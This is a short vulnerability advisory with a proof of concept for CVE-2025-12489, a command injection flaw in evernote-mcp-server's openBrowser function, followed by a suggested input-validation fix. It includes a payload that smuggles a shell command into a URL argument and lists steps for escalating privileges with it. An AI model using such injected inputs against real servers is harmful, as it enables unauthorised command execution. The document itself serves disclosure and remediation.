CVE-2025-12489: evernote-mcp-server openBrowser命令注入提权漏洞

// CVE-2025-12489 PoC - Command Injection in evernote-mcp-server openBrowser // This PoC demonstrates the command injection vulnerability // Note: This is for educational and security testing purposes only // Malicious input to trigger command injection via openBrowser function // The attacker injects additional commands after the intended browser URL const maliciousInput = 'http://example.com; whoami > /tmp/pwned.txt'; // Example exploitation scenario: // 1. Attacker has low-privilege code execution on target system // 2. Sends crafted request to openBrowser function with injected command // 3. Server executes: openBrowser('http://example.com; whoami > /tmp/pwned.txt') // 4. System command runs the injected 'whoami' command with elevated privileges // 5. Attacker gains information about the service account // Suggested fix - Input validation before use: function safeOpenBrowser(url) { // Validate URL format and sanitize input if (!/^https?:\/\/[a-zA-Z0-9.-]+$/.test(url)) { throw new Error('Invalid URL format'); } // Use parameterized approach instead of string concatenation execFileSync('xdg-open', [url]); }